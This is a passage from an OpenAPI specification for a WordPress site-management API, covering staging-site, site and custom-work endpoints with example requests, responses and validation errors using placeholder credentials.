"9bf3c2e7a1b24c6d8e9f0123456789ab", "snapshot_id": "65a8f4c2d1b3e7f9a0c5d8e2", "php_version": "8.2", "options": { "real_time_events": { "enabled": true, "until": "2026-01-10T09:00:00Z" } } } } } } }, "responses": { "201": { "description": "Staging site creation started successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateStagingSiteResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-10T10:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/StagingSiteWrappedBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/CreateStagingSiteUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/staging-sites/{staging_site_id}": { "parameters": [ { "name": "staging_site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/StagingSiteId" }, "description": "Staging site ID returned in staging site lists and details." } ], "get": { "tags": [ "Staging" ], "summary": "Show staging site", "operationId": "showStagingSite", "description": "Returns one staging site with the backup snapshot used to create it and\nthe credentials needed to access it.\n\nUse this when you need to inspect a staging site's current status,\nexpiry, PHP version, snapshot, and connection details.\n\nA successful response returns the staging site.\n", "responses": { "200": { "description": "Staging site returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowStagingSiteResponse" }, "example": { "staging_site": { "id": "qW6nR9xK2mL4pJ8vT3hY7bFd", "site_id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "status": "active", "url": "https://staging-example-com-1.flavor.press", "created_at": "2026-01-10T10:00:00Z", "updated_at": "2026-01-12T08:30:00Z", "expires_at": "2026-02-10T10:00:00Z", "php_version": "8.2", "user": { "name": "Admin Doe", "email": "admin@example.com" }, "snapshot": { "id": "65a8f4c2d1b3e7f9a0c5d8e2", "created_at": "2026-01-09T10:00:00Z" }, "credentials": { "http_auth": { "username": "staging-user", "password": "generated-password" }, "server": { "protocol": "sftp", "host": "203.0.113.10", "port": 22, "username": "stg_example", "password": "sftp-password" }, "database": { "host": "10.0.0.12", "port": 3306, "name": "bv_db_example", "username": "stg_example", "password": "mysql-password" } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/StagingPlanUnavailableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "delete": { "tags": [ "Staging" ], "summary": "Delete staging site", "operationId": "deleteStagingSite", "description": "Deletes a staging site.\n\nUse this when the staging copy is no longer needed for testing or\nreview.\n\nA successful response returns no response body.\n", "responses": { "204": { "$ref": "#/components/responses/DeleteStagingSiteNoContentResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/DeleteStagingSiteUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/staging-sites/{staging_site_id}/extend-expiry": { "parameters": [ { "name": "staging_site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/StagingSiteId" }, "description": "Staging site ID returned in staging site lists and details." } ], "post": { "tags": [ "Staging" ], "summary": "Extend staging site expiry", "operationId": "extendStagingSiteExpiry", "description": "Extends a staging site's expiry by the requested number of days.\n\nUse this when a staging site needs to remain available for longer while\nstaying within your account's staging expiry limit.\n\nA successful response returns the updated staging site.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ExtendStagingSiteExpiryRequest" }, "example": { "days": 14 } } } }, "responses": { "200": { "description": "Staging site expiry extended successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ExtendStagingSiteExpiryResponse" }, "example": { "staging_site": { "id": "qW6nR9xK2mL4pJ8vT3hY7bFd", "site_id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "status": "active", "url": "https://staging-example-com-1.flavor.press", "created_at": "2026-01-10T10:00:00Z", "updated_at": "2026-01-12T08:30:00Z", "expires_at": "2026-02-17T10:00:00Z", "php_version": "8.2", "user": { "name": "Admin Doe", "email": "admin@example.com" }, "snapshot": { "id": "65a8f4c2d1b3e7f9a0c5d8e2", "created_at": "2026-01-09T10:00:00Z" }, "credentials": { "http_auth": { "username": "staging-user", "password": "generated-password" }, "server": { "protocol": "sftp", "host": "203.0.113.10", "port": 22, "username": "stg_example", "password": "sftp-password" }, "database": { "host": "10.0.0.12", "port": 3306, "name": "bv_db_example", "username": "stg_example", "password": "mysql-password" } } } } } } }, "400": { "$ref": "#/components/responses/ExtendStagingSiteExpiryBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/ExtendStagingSiteExpiryUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/staging-sites/{staging_site_id}/resume": { "parameters": [ { "name": "staging_site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/StagingSiteId" }, "description": "Staging site ID returned in staging site lists and details." } ], "post": { "tags": [ "Staging" ], "summary": "Resume staging site", "operationId": "resumeStagingSite", "description": "Resumes a paused staging site.\n\nUse this when a paused staging site needs to become active again.\n\nA successful response returns the staging site with `status: active`.\n", "responses": { "200": { "description": "Staging site resumed successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ResumeStagingSiteResponse" }, "example": { "staging_site": { "id": "qW6nR9xK2mL4pJ8vT3hY7bFd", "site_id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "status": "active", "url": "https://staging-example-com-1.flavor.press", "created_at": "2026-01-10T10:00:00Z", "updated_at": "2026-01-12T08:30:00Z", "expires_at": "2026-02-10T10:00:00Z", "php_version": "8.2", "user": { "name": "Admin Doe", "email": "admin@example.com" }, "snapshot": { "id": "65a8f4c2d1b3e7f9a0c5d8e2", "created_at": "2026-01-09T10:00:00Z" }, "credentials": { "http_auth": { "username": "staging-user", "password": "generated-password" }, "server": { "protocol": "sftp", "host": "203.0.113.10", "port": 22, "username": "stg_example", "password": "sftp-password" }, "database": { "host": "10.0.0.12", "port": 3306, "name": "bv_db_example", "username": "stg_example", "password": "mysql-password" } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/ResumeStagingSiteUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/staging-sites/{staging_site_id}/update-php-version": { "parameters": [ { "name": "staging_site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/StagingSiteId" }, "description": "Staging site ID returned in staging site lists and details." } ], "post": { "tags": [ "Staging" ], "summary": "Update staging PHP version", "operationId": "updateStagingSitePhpVersion", "description": "Starts a task to change the PHP version used by the staging site.\n\nUse this when the staging site needs to run on a different supported PHP\nversion.\n\nA successful response returns the task created for the PHP version\nupdate. Use the returned task ID with Tasks to check status.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateStagingSitePhpVersionRequest" }, "example": { "staging_site": { "php_version": "8.3" } } } } }, "responses": { "200": { "description": "PHP version update started successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateStagingSitePhpVersionResponse" }, "example": { "task": { "id": "8f4b2c7e1a9d3f6b5c2e8a7d4f1b9c6e", "status": "queued", "created_at": "2026-01-10T10:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/StagingSiteWrappedBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/UpdateStagingSitePhpVersionUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/staging-sites/{staging_site_id}/download": { "parameters": [ { "name": "staging_site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/StagingSiteId" }, "description": "Staging site ID returned in staging site lists and details." } ], "post": { "tags": [ "Staging" ], "summary": "Start staging site download", "operationId": "downloadStagingSite", "description": "Starts a task to generate a download package for staging site files,\ndatabase, or both.\n\nUse this when you need a copy of the staging site's files or database.\n\nA successful response returns the task created for the staging site\ndownload. Use the returned task ID with Tasks to check status.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DownloadStagingSiteRequest" }, "example": { "download": { "scope": { "include_files": true, "include_database": true } } } } } }, "responses": { "200": { "description": "Staging site download started successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DownloadStagingSiteResponse" }, "example": { "task": { "id": "9a6c3e8f2b5d4a7c1e9f6b3d8a2c5e7f", "status": "queued", "created_at": "2026-01-10T10:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/DownloadStagingSiteBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/WpSsoLoginUrlStagingSiteNotFoundResponse" }, "422": { "$ref": "#/components/responses/DownloadStagingSiteUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/staging-sites/{staging_site_id}/wp/users/sso-login-url": { "parameters": [ { "name": "staging_site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/StagingSiteId" }, "description": "Staging site ID returned in staging site lists and details." } ], "get": { "tags": [ "Staging" ], "summary": "Generate staging site WordPress SSO login URL", "operationId": "generateStagingSiteWpSsoLoginUrl", "description": "Generates a temporary URL that signs in to WordPress admin for the\nstaging site.\n\nUse this URL to open WordPress admin without manually entering staging\nWordPress credentials.\n\nIf `wp_object_id` is omitted, the default admin user for the source site\nis selected. If `wp_object_id` is present and not blank, it must be an\ninteger WordPress user ID.\n\nA successful response returns the generated URL.\n", "parameters": [ { "name": "wp_object_id", "in": "query", "required": false, "schema": { "type": "string" }, "description": "Optional WordPress user ID to log in as. Omit or send blank to use the default login user; non-blank values must contain only digits." } ], "responses": { "200": { "description": "WordPress SSO login URL generated successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/WpSsoLoginUrlStagingSiteResponse" }, "example": { "url": "https://staging-user:generated-password@staging-example-com-1.flavor.press/wp-admin/" } } } }, "400": { "$ref": "#/components/responses/WpSsoLoginUrlStagingSiteBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/WpSsoLoginUrlStagingSiteUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites": { "get": { "tags": [ "Sites" ], "summary": "List sites", "operationId": "listSites", "description": "Returns WordPress sites available to you with their URL, connection and\nsync status, assigned client and tags, backup and security status, server\ndetails, and WordPress update summary.\n\nUse this list to review sites, find a site to inspect or update, or\nfilter sites by status, assigned client, tags, or PHP version.\n\nA successful response returns a paginated list of sites.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `id`, `url`, `created_at`, `updated_at`, `last_sync_at`, `paused`, `security`, `backups`, `performance`, `connection_status`, `client_id`, `uptime`, `scanner_status`, `locked`, `tags`, `php_version`\n- Supported operators:\n - `eq`: `id`, `paused`, `security`, `backups`, `performance`, `connection_status`, `client_id`, `uptime`, `scanner_status`, `locked`, `php_version`\n - `contains`: `url`\n - `gte`: `created_at`, `updated_at`, `last_sync_at`\n - `lte`: `created_at`, `updated_at`, `last_sync_at`\n - `in`: `tags`\n - `gt`: `php_version`\n - `lt`: `php_version`\n- Boolean filters accept `true` or `false`\n- `connection_status:eq` accepts `connected` and `disconnected`\n- `scanner_status:eq` accepts `clean` and `hacked`\n- Use ISO 8601 timestamps for `created_at`, `updated_at`, and `last_sync_at` filters\n- `timezone` applies to `created_at`, `updated_at`, and `last_sync_at` filters\n- `tags:in` must use array syntax, for example `filters[tags:in][]=428`\n- `php_version` values must use `major`, `major.minor`, or `major.minor.patch` format\n- Example: `filters[backups:eq]=true`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `created_at`, `updated_at`, `url`, `last_sync_at`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `created_at,desc`\n- Example: `sort=created_at,desc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "$ref": "#/components/parameters/timezone" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListSitesSort" }, "description": "Sort order for returned sites." }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/ListSitesFilters" }, "description": "Filters applied to returned sites.", "example": { "backups:eq": true, "tags:in": [ "428" ] } } ], "responses": { "200": { "description": "Sites returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSitesResponse" }, "example": { "sites": [ { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "title": "Example Site", "url": "https://example.com", "home_url": "https://example.com", "created_at": "2026-01-10T10:00:00Z", "updated_at": "2026-01-12T08:30:00Z", "client": { "id": "fT9nK3xR7mL5pQ2vW8hY6bFd", "first_name": "John", "last_name": "Client", "email": "client@example.com", "company_name": "Example Co" }, "tags": [ { "id": "428", "name": "Production" } ], "connection": { "status": "connected" }, "server": { "hosting": "cloudways", "mysql_version": "8.0", "php_version": "8.2" }, "sync": { "last_sync_at": "2026-01-12T08:20:00Z", "next_sync_at": "2026-01-13T08:20:00Z", "last_sync_status": "succeeded", "last_sync_error": null, "interval": "24h", "daily_sync_time": "08:00:00Z", "paused": false, "in_progress": false }, "security": { "enabled": true, "scanner": { "status": "clean", "malware_detected_at": null, "interval": "24h", "last_check_at": "2026-01-12T08:20:00Z", "next_check_at": "2026-01-13T08:20:00Z", "detections": { "files": 0, "scripts": 0, "cron_jobs": 0 } }, "firewall": { "enabled": true, "mode": "protect", "advanced": true, "bot_protection": { "enabled": false } } }, "backups": { "enabled": true, "real_time": false, "available_snapshots": 12, "retention_days": 30, "latest_snapshot": { "id": "65a8f4c2d1b3e7f9a0c5d8e2", "created_at": "2026-01-12T08:20:00Z", "status": "succeeded" } }, "performance": { "enabled": false }, "uptime": { "enabled": true, "status": "up" }, "analytics": { "enabled": true }, "activity_logs": { "enabled": true }, "wp": { "core": { "current_version": "6.5.3", "latest_version": "6.5.5", "update_available": true, "locked": false }, "default_wp_object_id": 42 }, "screenshot": { "thumbnail_url": "https://example.com/thumb.jpg", "updated_at": "2026-01-12T08:30:00Z" }, "locked": false, "multisite": false }, { "id": "a4d8f2c1b6e94d0a8f73c2e5d1b9a604", "title": "Storefront", "url": "https://store.example.com", "home_url": "https://store.example.com", "created_at": "2026-01-09T08:00:00Z", "updated_at": "2026-01-11T07:30:00Z", "client": { "id": "kL4pQ8vT2hY6bFd9nR3xM7wJ", "first_name": "Maya", "last_name": "Store", "email": "maya@example.com", "company_name": "Storefront Co" }, "tags": [ { "id": "512", "name": "Ecommerce" } ], "connection": { "status": "connected" }, "server": { "hosting": "kinsta", "mysql_version": "8.0", "php_version": "8.1" }, "sync": { "last_sync_at": "2026-01-11T07:20:00Z", "next_sync_at": "2026-01-12T07:20:00Z", "last_sync_status": "succeeded", "last_sync_error": null, "interval": "24h", "daily_sync_time": "07:00:00Z", "paused": false, "in_progress": false }, "security": { "enabled": true, "scanner": { "status": "hacked", "malware_detected_at": "2026-01-11T07:20:00Z", "interval": "24h", "last_check_at": "2026-01-11T07:20:00Z", "next_check_at": "2026-01-12T07:20:00Z", "detections": { "files": 2, "scripts": 1, "cron_jobs": 0 } }, "firewall": { "enabled": true, "mode": "protect", "advanced": true, "bot_protection": { "enabled": true } } }, "backups": { "enabled": true, "real_time": false, "available_snapshots": 8, "retention_days": 30, "latest_snapshot": { "id": "74b9e1d3f5a7c2e9d0b6f8a1", "created_at": "2026-01-11T07:20:00Z", "status": "succeeded" } }, "performance": { "enabled": true }, "uptime": { "enabled": true, "status": "up" }, "analytics": { "enabled": false }, "activity_logs": { "enabled": true }, "wp": { "core": { "current_version": "6.5.5", "latest_version": "6.5.5", "update_available": false, "locked": false }, "default_wp_object_id": 7 }, "screenshot": { "thumbnail_url": "https://store.example.com/thumb.jpg", "updated_at": "2026-01-11T07:30:00Z" }, "locked": false, "multisite": false } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/SitesIndexBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "post": { "tags": [ "Sites" ], "summary": "Create site", "operationId": "createSite", "description": "Creates a WordPress site in your account. Include connection settings\nonly when the site needs a sticky IP or HTTP basic auth.\n\nUse this when adding a site that should be managed from your account.\n\nA successful response returns the created site with its site ID, URL,\nconnection status, and timestamps.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateSiteRequest" }, "example": { "site": { "url": "https://example.com", "connection": { "sticky_ip": "192.168.1.1", "http_auth": { "username": "admin", "password": "example-password" } } } } } } }, "responses": { "201": { "description": "Site created successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateSiteResponse" }, "example": { "site": { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "url": "https://example.com", "connection": { "status": "disconnected" }, "created_at": "2026-01-10T10:00:00Z", "updated_at": "2026-01-10T10:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SiteCreateBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SiteCreateUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Sites" ], "summary": "Show site", "operationId": "showSite", "description": "Returns the selected site with its URL, connection and sync status,\nassigned client and tags, backup and security status, server\ndetails, WordPress update summary, screenshot URLs, and health details.\n\nUse this when you need full status and saved connection details for the\nselected site.\n\nThe response includes sticky IP and HTTP basic auth credentials when\nthey are configured.\n\nA successful response returns the requested site.\n", "responses": { "200": { "description": "Site returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowSiteResponse" }, "example": { "site": { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "title": "Example Site", "url": "https://example.com", "home_url": "https://example.com", "created_at": "2026-01-10T10:00:00Z", "updated_at": "2026-01-12T08:30:00Z", "client": { "id": "fT9nK3xR7mL5pQ2vW8hY6bFd", "first_name": "John", "last_name": "Client", "email": "client@example.com", "company_name": "Example Co" }, "tags": [ { "id": "428", "name": "Production" } ], "connection": { "status": "connected", "sticky_ip": "192.168.1.1", "http_auth": { "username": "admin", "password": "example-password" } }, "server": { "hosting": "cloudways", "mysql_version": "8.0", "php_version": "8.2" }, "sync": { "last_sync_at": "2026-01-12T08:20:00Z", "next_sync_at": "2026-01-13T08:20:00Z", "last_sync_status": "succeeded", "last_sync_error": null, "interval": "24h", "daily_sync_time": "08:00:00Z", "paused": false, "in_progress": false }, "security": { "enabled": true, "scanner": { "status": "clean", "malware_detected_at": null, "interval": "24h", "last_check_at": "2026-01-12T08:20:00Z", "next_check_at": "2026-01-13T08:20:00Z", "detections": { "files": 0, "scripts": 0, "cron_jobs": 0 }, "files": { "total": 3692, "scanned": 3600 }, "database": { "total": 20, "scanned": 18 } }, "firewall": { "enabled": true, "mode": "protect", "advanced": true, "bot_protection": { "enabled": false } } }, "backups": { "enabled": true, "real_time": false, "available_snapshots": 12, "retention_days": 30, "latest_snapshot": { "id": "65a8f4c2d1b3e7f9a0c5d8e2", "created_at": "2026-01-12T08:20:00Z", "status": "succeeded" }, "files": { "count": { "total": 3692, "synced": 3600, "ignored": 92 }, "size": { "total": 52428800, "synced": 51380224, "ignored": 1048576 } }, "database": { "count": { "total": 20, "synced": 18, "ignored": 2 }, "size": { "total": 1048576, "synced": 1048576, "ignored": 0 } } }, "performance": { "enabled": false }, "uptime": { "enabled": true, "status": "up" }, "analytics": { "enabled": true }, "activity_logs": { "enabled": true }, "wp": { "core": { "current_version": "6.5.3", "latest_version": "6.5.5", "update_available": true, "locked": false, "vulnerable": false }, "default_wp_object_id": 42, "updates": { "plugins": { "total": 10, "available": 3, "risk": { "high": 1, "medium": 1, "low": 1 } }, "themes": { "total": 2, "available": 1 } } }, "screenshot": { "thumbnail_url": "https://example.com/thumb.jpg", "updated_at": "2026-01-12T08:30:00Z", "full_url": "https://example.com/full.jpg" }, "locked": false, "multisite": false, "health": { "score": 95, "uptime_percentage": 99.9, "status": "healthy" }, "woocommerce": false } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "delete": { "tags": [ "Sites" ], "summary": "Delete site", "operationId": "deleteSite", "description": "Deletes the selected site from your account.\n\nUse this when the site should no longer be managed from your account.\n\nA successful response returns no response body.\n", "responses": { "204": { "description": "Site deleted successfully. No response body is returned." }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/update": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Sites" ], "summary": "Update site", "operationId": "updateSite", "description": "Updates the selected site's URL, sticky IP, HTTP basic auth, or daily\nsync time.\n\nUse this when the site's URL, connection settings, or scheduled sync time\nneeds to change.\n\nA successful response returns the updated site summary.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateSiteRequest" }, "example": { "site": { "url": "https://updated-example.com", "connection": { "sticky_ip": null, "http_auth": null }, "sync": { "daily_sync_time": "08:00:00Z" } } } } } }, "responses": { "200": { "description": "Site updated successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateSiteResponse" }, "example": { "site": { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "url": "https://updated-example.com", "connection": { "status": "connected" }, "sync": { "daily_sync_time": "08:00:00Z" }, "updated_at": "2026-01-12T08:30:00Z" } } } } }, "400": { "$ref": "#/components/responses/SiteUpdateBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SiteUpdateUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/sync": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Sites" ], "summary": "Start site sync", "operationId": "syncSite", "description": "Starts an on-demand sync for the selected site.\n\nUse this when you need the latest site snapshot outside the scheduled\nsync time.\n\nThe site must not be under maintenance, another sync cannot already be\nin progress, and the daily sync limit must not be reached.\n\nA successful response returns the started sync snapshot ID with\n`in_progress: true`.\n", "requestBody": { "required": false, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SyncSiteRequest" }, "example": { "sync": { "message": "Before plugin update" } } } } }, "responses": { "200": { "description": "Site sync started successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SyncSiteResponse" }, "example": { "sync": { "snapshot_id": "65a8f4c2d1b3e7f9a0c5d8e2", "in_progress": true } } } } }, "400": { "$ref": "#/components/responses/SiteSyncBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "409": { "$ref": "#/components/responses/SiteSyncConflictResponse" }, "422": { "$ref": "#/components/responses/SiteSyncUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/custom-works": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Custom Works" ], "summary": "List custom work entries", "operationId": "listSiteCustomWorks", "description": "Returns custom work entries for the selected site.\n\nUse this list to review completed site work, find custom work IDs for\ndetail, update, or delete requests, or filter work history by title,\ndescription, performed date, created time, or updated time.\n\nA successful response returns a paginated list of custom work entries.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `search`, `title`, `description`, `performed_on`, `created_at`, `updated_at`\n- Supported operators:\n - `contains`: `search`, `title`, `description`\n - `eq`: `performed_on`\n - `gte`: `performed_on`, `created_at`, `updated_at`\n - `lte`: `performed_on`, `created_at`, `updated_at`\n- `search:contains` searches only `title` and `description`\n- `performed_on` filters use `YYYY-MM-DD`. Use ISO 8601 timestamps for `created_at` and `updated_at` filters\n- `timezone` applies to `created_at` filters\n- Example: `filters[title:contains]=SEO`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `performed_on`, `created_at`, `updated_at`, `title`, `description`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `performed_on,desc`\n- Example: `sort=performed_on,desc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "$ref": "#/components/parameters/timezone" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListSiteCustomWorksSort" }, "description": "Sort order for returned custom work entries." }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/ListSiteCustomWorksFilters" }, "description": "Filters applied to returned custom work entries.", "example": { "title:contains": "SEO", "performed_on:gte": "2026-01-01" } } ], "responses": { "200": { "description": "Custom work entries returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSiteCustomWorksResponse" }, "example": { "custom_works": [ { "id": "hT5bWx8nKq3mJr6vGs9fYd2a", "title": "SEO optimization", "description": "Fixed sitemap and schema issues", "performed_on": "2026-02-20", "created_at": "2026-02-20T10:00:00Z", "updated_at": "2026-02-20T10:00:00Z" }, { "id": "kM9pQx2vRz4nYw7sBf3cHj8a", "title": "Plugin update", "description": "Updated plugin settings", "performed_on": "2026-02-18", "created_at": "2026-02-18T09:30:00Z", "updated_at": "2026-02-18T09:30:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "description": "The query parameters contain invalid values.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_filters": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Unsupported filter key", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[performed_on:contains]", "message": "Filter is not supported." } ] } } }, "malformed_date_filter": { "summary": "Invalid performed_on date filter", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "performed_on", "message": "Invalid date" } ] } } }, "malformed_timestamp_filter": { "summary": "Invalid created_at timestamp filter", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "created_at", "message": "Invalid timestamp" } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "invalid_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "post": { 